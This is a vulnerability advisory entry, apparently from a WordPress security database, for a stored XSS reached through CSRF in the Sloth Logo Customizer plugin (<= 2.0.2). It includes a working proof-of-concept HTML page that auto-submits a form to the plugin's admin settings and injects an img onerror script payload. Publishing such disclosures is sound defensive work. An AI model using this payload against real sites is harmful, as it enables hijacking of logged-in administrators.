Sloth Logo Customizer <= 2.0.2 - Stored XSS via CSRF

2023-04-1700:00:00

Nithissh Sathish

stored xss

csrf

admin

html

exploit

EPSS

0.002

Percentile

57.1%

JSON

The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make a logged in Admin open a page containing the HTML code below

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/themes.php?page=slothLogo" method="POST">
        <input type="text" name="imageAttachmentId" value='1"><img src onerror=alert(/XSS/)>'>
        <input type="submit" value="submit">
    </form>
</body>

EPSS

0.002

Percentile

57.1%

JSON

Related for WPEX-ID:1C93EA8F-4E68-4DA1-994E-35A5873278BA